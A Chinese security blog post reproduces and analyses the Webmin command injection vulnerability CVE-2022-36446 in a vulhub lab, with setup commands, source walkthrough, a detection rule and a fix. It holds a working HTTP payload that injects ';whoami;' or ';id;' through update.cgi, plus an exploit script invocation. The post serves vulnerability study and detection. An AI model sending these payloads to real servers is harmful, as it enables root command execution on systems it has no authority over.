跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash

Webmin 任意命令执行漏洞(CVE-2022-36446)复现与分析

Webmin 1.997 版本之前存在任意命令执行漏洞(CVE-2022-36446)。该漏洞需要身份验证且账户需拥有软件包更新模块权限。攻击者可通过构造特定请求在 update.cgi 接口注入系统命令,以 root 权限执行。修复方法为升级至 1.997 及以上版本或应用官方补丁。详细阐述了漏洞原理、复现步骤及 POC 规则编写。

猫巷少女发布于 2025/2/7更新于 2026/10/21112 浏览
Webmin 任意命令执行漏洞(CVE-2022-36446)复现与分析

0x01 漏洞介绍

漏洞等级:严重

Webmin 是功能最强大的基于 Web 的 Unix 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。在版本 1.997 之前的 Webmin 中存在一个任意命令注入漏洞,触发该漏洞需登录 Webmin。

0x02 漏洞影响范围

WebMin 版本小于 1.997

0x03 漏洞利用条件

  • 此漏洞需身份验证;
  • 并且该账户必须有权限访问软件包更新模块,需要访问'Software Package Updates'模块才能触发漏洞;

0x04 漏洞复现

环境搭建
  1. 使用 vulhub 搭建环境,把 vulhub 下载到本地。

  2. 进入 vulhub/webmin/CVE-2022-36446,使用此环境进行 CVE-2022-36446 漏洞复现。

docker-compose up -d   # 启动漏洞环境
docker-compose ps      # 查看漏洞环境映射的端口
  1. 访问 https://ip:10000,出现以下界面表示环境部署成功。

  2. 接下来需要修改 webmin 的密码,需要进入容器中修改。

docker ps     # 查看漏洞环境容器 id
docker exec -it 容器 id /bin/bash    # 进入容器内部
cd /usr/share/webmin/                     # 进入容器内的/usr/share/webmin/目录下
./changepass.pl /etc/webmin root root   # 将 root 密码设置为 root
漏洞复现
  1. 以上设置完之后,使用 root/root 登录 webmin。

  2. 抓取登录后的任意数据包。

  3. 发送到 Repeater 模块,更改请求方式为 POST。

  4. 更改请求路径为 /package-updates/update.cgi,添加 payload,发送请求,返回包中出现命令执行结果。

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow

Payload 示例:

POST /package-updates/update.cgi HTTP/1.1
Host: X.X.X.X:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-From: mount
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://X.X.X.X:10000/mount/?xnavigation=1
Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow
EXP

也可直接通过脚本进行漏洞利用。

python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I

有可能会出现以下报错,将 CVE-2022-36446.py 文件中的 soup = BeautifulSoup(r.content, 'lxml') 全部改为 soup = BeautifulSoup(r.content, 'html.parser'),再重新执行即可。

漏洞分析

命令执行:当应用需要调用外部程序处理某些内容的情况下,就会用到一些执行系统命令的函数,比如最常见的 php 中的 system、exec、shell_exec 等等。当用户可以控制命令执行函数中的参数时,就可以注入一些恶意的系统命令到正常的命令中,造成命令执行攻击。

Webmin 是目前功能最强大的基于 web 的 unix 系统管理工具,管理员通过浏览器访问 webmin 的各种管理功能并完成相应的管理动作。

Webmin 使用操作系统包管理器(apt、yum 等)来执行包更新和安装。由于缺乏输入清理(1.997 之前的 Webmin 中的 software/apt-lib.pl 缺少 UI 命令的 HTML 转义),可以注入将连接到包管理器调用的任意命令。

此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块,用户可以通过在新软件包安装期间执行系统命令,并以 root 权限运行命令。

该模块在 /package-updates/ 文件夹下开发。其中有一个 update.cgi 文件,该文件中第 39 行使用参数 U 指定用户的包名称,并在第 50 行检查请求中是否存在'confirm'参数。第 57 行,如果请求中没有'confirm'参数,就会调用带有变量'pkgnames'的'list_package_operations()'函数,其中存储了包名。

通过 /package-updates/update.cgi 文件的第 4 行可知道,'list_package_operations'函数位于'pakage-updates-lib.pl'文件中。

'list_package_operations()'函数定义于 pakage-updates-lib.pl 文件的第 408 行。此函数将'$name'的值(即包名)发送到第 412 行中名为 software 文件中的'update_system_operations()'函数。

再通过搜索功能找到定义 update_system_operations() 函数的文件为 apt-lib.pl 和 yum-lib.pl。顾名思义,apt-lib.pl 文件使用的是 apt 包,yum-lib.pl 文件使用的是 yum 包。两者所做的工作是相同的,但是因为运行 Webmin 的系统和该系统的包管理器不同,所以只是文件中的某些命令会不同,故分析哪个文件都可以。

查看 /software/apt-lib.pl 文件,在第 75 行定义了 update_system_operations() 函数。第 83 行,通过'backquote_command()'函数来执行系统命令,也是通过此函数对系统运行的命令进行安全控制,也防止用户在此注入命令。

再继续看 update.cgi 文件,如果需要安装一个包,则会调用第 129 行的'package_install()'函数。

通过查找,package_install() 函数位于'package-updates-lib.pl'文件中第 300 行。查看函数内容发现,'update_system_install()'函数是通过'$name'变量调用的,它是用户在第 345 行给出的包名(从之前的分析得出,这些函数是在 apt-lib.pl 文件中定义的)。

再查看 apt-lib.pl 文件,找到相关函数。

第 18 行看到函数的第一个参数(即用户之前发送的包名)被分配给'update'变量。第 26 行,'update'变量被包含在了命令中,而且没有做任何的控制机制。第 46 行发现,相关的命令会直接在系统上执行,也是没有做任何的控制机制。

所以,用户可以通过在新的软件包安装请求中提供'confirm'参数,并在软件包中指定在系统上运行命令的值,以 root 权限在系统上执行命令。

0x05 检测 POC 规则编写

params:
- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
name: Webmin 命令执行漏洞(CVE-2022-36446)
set: {}
rules:
- method: POST
  path: /package-updates/update.cgi
  headers:
    Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6
  body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"root")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

0x06 漏洞修复

  1. 升级到 1.997 及以上版本
  2. 补丁获取

目录

  1. 0x01 漏洞介绍
  2. 0x02 漏洞影响范围
  3. 0x03 漏洞利用条件
  4. 0x04 漏洞复现
  5. 环境搭建
  6. 漏洞复现
  7. EXP
  8. 漏洞分析
  9. 0x05 检测 POC 规则编写
  10. 0x06 漏洞修复

更多推荐文章

查看全部
  • HTML5 结合 AI 实现智能场景渲染与交互
  • Dify 与 MySQL 深度融合:基于 MCP 协议的数据交互实践
  • MCPo:将 MCP 工具无缝集成到 OpenAPI 的代理服务器方案
  • OpenClaw 部署环境要求:CPU、内存与系统配置清单
  • 基于无人机射频探测的无线地下土壤健康监测平台 HARVEST
  • 使用 SiliconCloud 免费体验 Llama3.1-405B 开源大模型
  • 数据结构进阶:链表原理与 Java 实现
  • 国外社区热议 Vue 3 新 API 及版本命名争议
  • Java 案例:接口的静态方法
  • 基于 Trae 部署与配置 Claude Code 实践
  • 从推荐算法转行大模型推理工程:行业趋势与技术路径
  • Java 十大常用框架详解
  • 初学者如何入门大语言模型开发
  • 算法模型训练全流程解析:从决策边界到模型部署
  • VSCode 集成 GitHub Copilot 使用指南
  • 用 Claude Skill 提升大模型生成前端的审美质量
  • Python 基础入门:20 分钟快速掌握核心语法
  • YOLOv8/v11 与 LLM 联动的 Web 视觉检测系统:Django+Vue3 前后端分离实战
  • AI 需求预测的局限与 Python 开发者的心理洞察实践
  • AI 核心概念解析:AIGC、RAG、Agent 与 MCP

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online